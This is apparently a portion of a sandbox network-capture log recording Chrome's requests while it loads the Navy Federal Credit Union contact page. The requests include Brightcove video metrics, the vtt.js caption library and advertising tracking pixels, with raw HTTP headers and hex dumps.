2024-05-24 22:46:42 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:46:41 GMT expires: Thu, 23 May 2024 22:46:41 GMT last-modified: Sat, 25 May 2024 22:46:41 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:46 GMT; etag: 3686350675499712512-4618680765188348085 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:46:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.6	50487	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	922	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=player_init&time=1716590800169&autoplay=false&seq=0 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:42 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.6	50489	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	1036	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&event=catalog_request&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590800172&autoplay=false&seq=1 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:42 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.6	50486	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	2508	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&usage=social!3.14.0&usage=iframe-embed&event=player_load&time=1716590800351&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=4897935&qos.performance.memory.totalJSHeapSize=9139239&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=0&qos.performance.timing.loadEventStart=0&qos.performance.timing.domComplete=0&qos.performance.timing.domContentLoadedEventEnd=1716590800192&qos.performance.timing.domContentLoadedEventStart=1716590800188&qos.performance.timing.domInteractive=1716590800188&qos.performance.timing.domLoading=1716590797329&qos.performance.timin [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:42 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.6	50479	151.101.130.27	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	570	OUT	OPTIONS /playback/v1/accounts/5289441629001/videos/5368522558001 HTTP/1.1 Host: edge.api.brightcove.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: accept Origin: https://players.brightcove.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	944	IN	HTTP/1.1 200 Unknown Error Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 access-control-max-age: 86400 Accept-Ranges: bytes Date: Fri, 24 May 2024 22:46:41 GMT Via: 1.1 varnish X-Served-By: cache-ewr18165-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1716590802.987753,VS0,VE0 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: cache-control,content-type,powered-by,powered-from,via,x-cache,x-cache-hits,x-served-by,x-timer,bcov-debug-cache-stats,bcov-instance,x-amz-cf-id,Policy-Key-Geo-Countries,Policy-Key-Geo-Exclude-Countries,Policy-Key-IP-Whitelist,Account-Status,Policy-Key-Raw,Policy-Key-Domains,Policy-Key-Require-Ad-Config,Policy-Key-AccountID,BCOV-Request-ID,BCOV-Error-Code,soapaction Access-Control-Allow-Headers: content-type,accept,accept-language,content-language,bcov-policy,soapaction Access-Control-Allow-Methods: HEAD,GET,OPTIONS Cache-Control: max-age=0, no-cache, no-store

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.6	50488	151.101.66.217	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	550	OUT	GET /vttjs/0.15.3/vtt.global.min.js HTTP/1.1 Host: vjs.zencdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://players.brightcove.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	423	IN	HTTP/1.1 200 OK Connection: close Content-Length: 21002 Last-Modified: Wed, 11 May 2022 18:56:37 GMT ETag: "9ab357d51e365493dab6cf243489069b" Cache-Control: public, max-age=31536000 Content-Type: application/javascript; charset=utf-8 Date: Fri, 24 May 2024 22:46:41 GMT X-Served-By: cache-ewr18136-EWR X-Cache: HIT X-Cache-Hits: 0 Vary: Accept-Encoding Access-Control-Allow-Origin: * Timing-Allow-Origin: *
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 2f 2a 20 76 69 64 65 6f 6a 73 2d 76 74 74 2e 6a 73 20 2d 20 76 30 2e 31 35 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 76 69 64 65 6f 6a 73 2f 76 74 74 2e 6a 73 29 20 62 75 69 6c 74 20 6f 6e 20 31 33 2d 30 34 2d 32 30 32 31 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 62 3d 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 28 62 3d 73 65 6c 66 29 2c 62 2e 76 74 74 6a 73 3d 61 28 29 7d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 62 2c 63 2c 64 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 67 2c 68 29 7b 69 66 Data Ascii: /* videojs-vtt.js - v0.15.3 (https://github.com/videojs/vtt.js) built on 13-04-2021 */!function(a){var b;"undefined"!=typeof window?b=window:"undefined"!=typeof self&&(b=self),b.vttjs=a()}(function(){return function(){function a(b,c,d){function e(g,h){if
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 2c 62 29 7b 73 77 69 74 63 68 28 61 29 7b 63 61 73 65 22 72 65 67 69 6f 6e 22 3a 66 6f 72 28 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 2d 31 3b 65 3e 3d 30 3b 65 2d 2d 29 69 66 28 63 5b 65 5d 2e 69 64 3d 3d 3d 62 29 7b 64 2e 73 65 74 28 61 2c 63 5b 65 5d 2e 72 65 67 69 6f 6e 29 3b 62 72 65 61 6b 7d 62 72 65 61 6b 3b 63 61 73 65 22 76 65 72 74 69 63 61 6c 22 3a 64 2e 61 6c 74 28 61 2c 62 2c 5b 22 72 6c 22 2c 22 6c 72 22 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 6c 69 6e 65 22 3a 76 61 72 20 66 3d 62 2e 73 70 6c 69 74 28 22 2c 22 29 2c 67 3d 66 5b 30 5d 3b 64 2e 69 6e 74 65 67 65 72 28 61 2c 67 29 2c 64 2e 70 65 72 63 65 6e 74 28 61 2c 67 29 26 26 64 2e 73 65 74 28 22 73 6e 61 70 54 6f 4c 69 6e 65 73 22 2c 21 31 29 2c 64 2e 61 6c 74 28 61 2c 67 2c 5b 22 61 Data Ascii: ,b){switch(a){case"region":for(var e=c.length-1;e>=0;e--)if(c[e].id===b){d.set(a,c[e].region);break}break;case"vertical":d.alt(a,b,["rl","lr"]);break;case"line":var f=b.split(","),g=f[0];d.integer(a,g),d.percent(a,g)&&d.set("snapToLines",!1),d.alt(a,g,["a
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 69 6f 6e 20 63 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 72 65 74 75 72 6e 20 62 3d 62 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 29 2c 61 7d 69 66 28 21 62 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 63 3d 62 2e 6d 61 74 63 68 28 2f 5e 28 5b 5e 3c 5d 2a 29 28 3c 5b 5e 3e 5d 2a 3e 3f 29 3f 2f 29 3b 72 65 74 75 72 6e 20 61 28 63 5b 31 5d 3f 63 5b 31 5d 3a 63 5b 32 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 61 2c 61 3d 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2c 74 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 78 5b 62 2e 6c 6f 63 61 6c 4e 61 6d 65 5d 7c 7c 78 5b 62 2e 6c 6f 63 61 6c 4e 61 6d 65 5d Data Ascii: ion c(){function a(a){return b=b.substr(a.length),a}if(!b)return null;var c=b.match(/^([^<])(<[^>]>?)?/);return a(c[1]?c[1]:c[2])}function d(a){return t.innerHTML=a,a=t.textContent,t.textContent="",a}function f(a,b){return!x[b.localName]\|\|x[b.localName]
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 7c 64 2e 69 6e 6e 65 72 54 65 78 74 3b 69 66 28 65 29 7b 76 61 72 20 66 3d 65 2e 6d 61 74 63 68 28 2f 5e 2e 2a 28 5c 6e 7c 5c 72 29 2f 29 3b 72 65 74 75 72 6e 20 66 3f 28 61 2e 6c 65 6e 67 74 68 3d 30 2c 66 5b 30 5d 29 3a 65 7d 72 65 74 75 72 6e 22 72 75 62 79 22 3d 3d 3d 64 2e 74 61 67 4e 61 6d 65 3f 63 28 61 29 3a 64 2e 63 68 69 6c 64 4e 6f 64 65 73 3f 28 62 28 61 2c 64 29 2c 63 28 61 29 29 3a 76 6f 69 64 20 30 7d 76 61 72 20 64 2c 65 3d 5b 5d 2c 66 3d 22 22 3b 69 66 28 21 61 7c 7c 21 61 2e 63 68 69 6c 64 4e 6f 64 65 73 29 72 65 74 75 72 6e 22 6c 74 72 22 3b 66 6f 72 28 62 28 65 2c 61 29 3b 66 3d 63 28 65 29 3b 29 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 66 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 69 66 28 64 3d 66 2e 63 68 61 72 43 6f 64 65 41 74 28 67 29 Data Ascii: \|d.innerText;if(e){var f=e.match(/^.*(\n\|\r)/);return f?(a.length=0,f[0]):e}return"ruby"===d.tagName?c(a):d.childNodes?(b(a,d),c(a)):void 0}var d,e=[],f="";if(!a\|\|!a.childNodes)return"ltr";for(b(e,a);f=c(e);)for(var g=0;g<f.length;g++)if(d=f.charCodeAt(g)
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 65 61 6b 3b 63 61 73 65 22 65 6e 64 22 3a 65 3d 62 2e 70 6f 73 69 74 69 6f 6e 2d 62 2e 73 69 7a 65 7d 22 22 3d 3d 3d 62 2e 76 65 72 74 69 63 61 6c 3f 74 68 69 73 2e 61 70 70 6c 79 53 74 79 6c 65 73 28 7b 6c 65 66 74 3a 74 68 69 73 2e 66 6f 72 6d 61 74 53 74 79 6c 65 28 65 2c 22 25 22 29 2c 77 69 64 74 68 3a 74 68 69 73 2e 66 6f 72 6d 61 74 53 74 79 6c 65 28 62 2e 73 69 7a 65 2c 22 25 22 29 7d 29 3a 74 68 69 73 2e 61 70 70 6c 79 53 74 79 6c 65 73 28 7b 74 6f 70 3a 74 68 69 73 2e 66 6f 72 6d 61 74 53 74 79 6c 65 28 65 2c 22 25 22 29 2c 68 65 69 67 68 74 3a 74 68 69 73 2e 66 6f 72 6d 61 74 53 74 79 6c 65 28 62 2e 73 69 7a 65 2c 22 25 22 29 7d 29 2c 74 68 69 73 2e 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 61 70 70 6c 79 53 74 79 6c 65 Data Ascii: eak;case"end":e=b.position-b.size}""===b.vertical?this.applyStyles({left:this.formatStyle(e,"%"),width:this.formatStyle(b.size,"%")}):this.applyStyles({top:this.formatStyle(e,"%"),height:this.formatStyle(b.size,"%")}),this.move=function(a){this.applyStyle
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 65 48 65 69 67 68 74 2c 6d 3d 6b 2a 4d 61 74 68 2e 72 6f 75 6e 64 28 68 29 2c 6e 3d 63 5b 6a 5d 2b 6b 2c 70 3d 69 5b 30 5d 3b 4d 61 74 68 2e 61 62 73 28 6d 29 3e 6e 26 26 28 6d 3d 6d 3c 30 3f 2d 31 3a 31 2c 6d 2a 3d 4d 61 74 68 2e 63 65 69 6c 28 6e 2f 6b 29 2a 6b 29 2c 68 3c 30 26 26 28 6d 2b 3d 22 22 3d 3d 3d 67 2e 76 65 72 74 69 63 61 6c 3f 63 2e 68 65 69 67 68 74 3a 63 2e 77 69 64 74 68 2c 69 3d 69 2e 72 65 76 65 72 73 65 28 29 29 2c 66 2e 6d 6f 76 65 28 70 2c 6d 29 7d 65 6c 73 65 7b 76 61 72 20 71 3d 66 2e 6c 69 6e 65 48 65 69 67 68 74 2f 63 2e 68 65 69 67 68 74 2a 31 30 30 3b 73 77 69 74 63 68 28 67 2e 6c 69 6e 65 41 6c 69 67 6e 29 7b 63 61 73 65 22 63 65 6e 74 65 72 22 3a 68 2d 3d 71 2f 32 3b 62 72 65 61 6b 3b 63 61 73 65 22 65 6e 64 22 3a 68 2d 3d Data Ascii: eHeight,m=kMath.round(h),n=c[j]+k,p=i[0];Math.abs(m)>n&&(m=m<0?-1:1,m=Math.ceil(n/k)k),h<0&&(m+=""===g.vertical?c.height:c.width,i=i.reverse()),f.move(p,m)}else{var q=f.lineHeight/c.height100;switch(g.lineAlign){case"center":h-=q/2;break;case"end":h-=
2024-05-24 22:46:42 UTC	674	IN	Data Raw: 26 28 74 68 69 73 2e 73 65 74 28 61 2c 62 29 2c 21 30 29 7d 7d 3b 76 61 72 20 74 3d 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 26 26 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 65 78 74 61 72 65 61 22 29 2c 75 3d 7b 63 3a 22 73 70 61 6e 22 2c 69 3a 22 69 22 2c 62 3a 22 62 22 2c 75 3a 22 75 22 2c 72 75 62 79 3a 22 72 75 62 79 22 2c 72 74 3a 22 72 74 22 2c 76 3a 22 73 70 61 6e 22 2c 6c 61 6e 67 3a 22 73 70 61 6e 22 7d 2c 76 3d 7b 77 68 69 74 65 3a 22 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 31 29 22 2c 6c 69 6d 65 3a 22 72 67 62 61 28 30 2c 32 35 35 2c 30 2c 31 29 22 2c 63 79 61 6e 3a 22 72 67 62 61 28 30 2c 32 35 35 2c 32 35 35 2c 31 29 22 2c 72 65 64 3a 22 72 67 62 61 28 32 35 35 2c 30 2c 30 2c 31 29 22 2c 79 65 6c 6c 6f 77 3a 22 72 Data Ascii: &(this.set(a,b),!0)}};var t=r.createElement&&r.createElement("textarea"),u={c:"span",i:"i",b:"b",u:"u",ruby:"ruby",rt:"rt",v:"span",lang:"span"},v={white:"rgba(255,255,255,1)",lime:"rgba(0,255,0,1)",cyan:"rgba(0,255,255,1)",red:"rgba(255,0,0,1)",yellow:"r
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 36 39 5d 2c 5b 32 30 37 34 2c 32 30 37 34 5d 2c 5b 32 30 38 34 2c 32 30 38 34 5d 2c 5b 32 30 38 38 2c 32 30 38 38 5d 2c 5b 32 30 39 36 2c 32 31 31 30 5d 2c 5b 32 31 31 32 2c 32 31 33 36 5d 2c 5b 32 31 34 32 2c 32 31 34 32 5d 2c 5b 32 32 30 38 2c 32 32 30 38 5d 2c 5b 32 32 31 30 2c 32 32 32 30 5d 2c 5b 38 32 30 37 2c 38 32 30 37 5d 2c 5b 36 34 32 38 35 2c 36 34 32 38 35 5d 2c 5b 36 34 32 38 37 2c 36 34 32 39 36 5d 2c 5b 36 34 32 39 38 2c 36 34 33 31 30 5d 2c 5b 36 34 33 31 32 2c 36 34 33 31 36 5d 2c 5b 36 34 33 31 38 2c 36 34 33 31 38 5d 2c 5b 36 34 33 32 30 2c 36 34 33 32 31 5d 2c 5b 36 34 33 32 33 2c 36 34 33 32 34 5d 2c 5b 36 34 33 32 36 2c 36 34 34 34 39 5d 2c 5b 36 34 34 36 37 2c 36 34 38 32 39 5d 2c 5b 36 34 38 34 38 2c 36 34 39 31 31 5d 2c 5b 36 34 Data Ascii: 69],[2074,2074],[2084,2084],[2088,2088],[2096,2110],[2112,2136],[2142,2142],[2208,2208],[2210,2220],[8207,8207],[64285,64285],[64287,64296],[64298,64310],[64312,64316],[64318,64318],[64320,64321],[64323,64324],[64326,64449],[64467,64829],[64848,64911],[64
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 70 65 29 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 73 77 69 74 63 68 28 62 3d 76 6f 69 64 20 30 21 3d 3d 62 3f 62 3a 74 68 69 73 2e 6c 69 6e 65 48 65 69 67 68 74 2c 61 29 7b 63 61 73 65 22 2b 78 22 3a 74 68 69 73 2e 6c 65 66 74 2b 3d 62 2c 74 68 69 73 2e 72 69 67 68 74 2b 3d 62 3b 62 72 65 61 6b 3b 63 61 73 65 22 2d 78 22 3a 74 68 69 73 2e 6c 65 66 74 2d 3d 62 2c 74 68 69 73 2e 72 69 67 68 74 2d 3d 62 3b 62 72 65 61 6b 3b 63 61 73 65 22 2b 79 22 3a 74 68 69 73 2e 74 6f 70 2b 3d 62 2c 74 68 69 73 2e 62 6f 74 74 6f 6d 2b 3d 62 3b 62 72 65 61 6b 3b 63 61 73 65 22 2d 79 22 3a 74 68 69 73 2e 74 6f 70 2d 3d 62 2c 74 68 69 73 2e 62 Data Ascii: pe),n.prototype.constructor=n,o.prototype.move=function(a,b){switch(b=void 0!==b?b:this.lineHeight,a){case"+x":this.left+=b,this.right+=b;break;case"-x":this.left-=b,this.right-=b;break;case"+y":this.top+=b,this.bottom+=b;break;case"-y":this.top-=b,this.b
2024-05-24 22:46:42 UTC	1379	IN	Data Raw: 65 74 54 6f 70 3a 30 3b 72 65 74 75 72 6e 20 61 3d 61 2e 64 69 76 3f 61 2e 64 69 76 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3a 61 2e 74 61 67 4e 61 6d 65 3f 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 3a 61 2c 7b 6c 65 66 74 3a 61 2e 6c 65 66 74 2c 72 69 67 68 74 3a 61 2e 72 69 67 68 74 2c 74 6f 70 3a 61 2e 74 6f 70 7c 7c 64 2c 68 65 69 67 68 74 3a 61 2e 68 65 69 67 68 74 7c 7c 62 2c 62 6f 74 74 6f 6d 3a 61 2e 62 6f 74 74 6f 6d 7c 7c 64 2b 28 61 2e 68 65 69 67 68 74 7c 7c 62 29 2c 77 69 64 74 68 3a 61 2e 77 69 64 74 68 7c 7c 63 7d 7d 2c 71 2e 53 74 72 69 6e 67 44 65 63 6f 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: etTop:0;return a=a.div?a.div.getBoundingClientRect():a.tagName?a.getBoundingClientRect():a,{left:a.left,right:a.right,top:a.top\|\|d,height:a.height\|\|b,bottom:a.bottom\|\|d+(a.height\|\|b),width:a.width\|\|c}},q.StringDecoder=function(){return{decode:function(a){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.6	50493	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	981	OUT	GET /ns/__p2.gif?ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&chk=true&brid=2779&brcid=&email=&orderId=&orderValue=&productId=&offerCode=&label=&pageUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&referrerUrl=&targetUrl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&sessionId=19471654271041955080390332448085131267&markerType=seg&rand=LRjIwJqHrPe2EYaa&iabOptOut=-&jsVer=3.2.1&frVer=1.2&markerId=815428 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	576	IN	HTTP/1.1 302 Found Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 X-Content-Type-Options: nosniff X-XSS-Protection: 1 Content-Type: image/gif Location: https://aa.agkn.com/adscores/g.pixel?sid=9212282598&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&iid=533c2d5e-d8da-4126-a3e5-0eb7139f2ccd&ona= X-Cloud-Trace-Context: 0df51ab5cef1fbd0533a345860a213d6 Date: Fri, 24 May 2024 22:46:42 GMT Server: Google Frontend Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.6	50495	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	1126	OUT	GET /i/adsct?bci=5&eci=2&event_id=4bedbdd9-a18b-4da1-bc9d-77514471ffd6&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=a498954a-ad8e-4ae9-b87e-ceb3e5eecb5d&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; 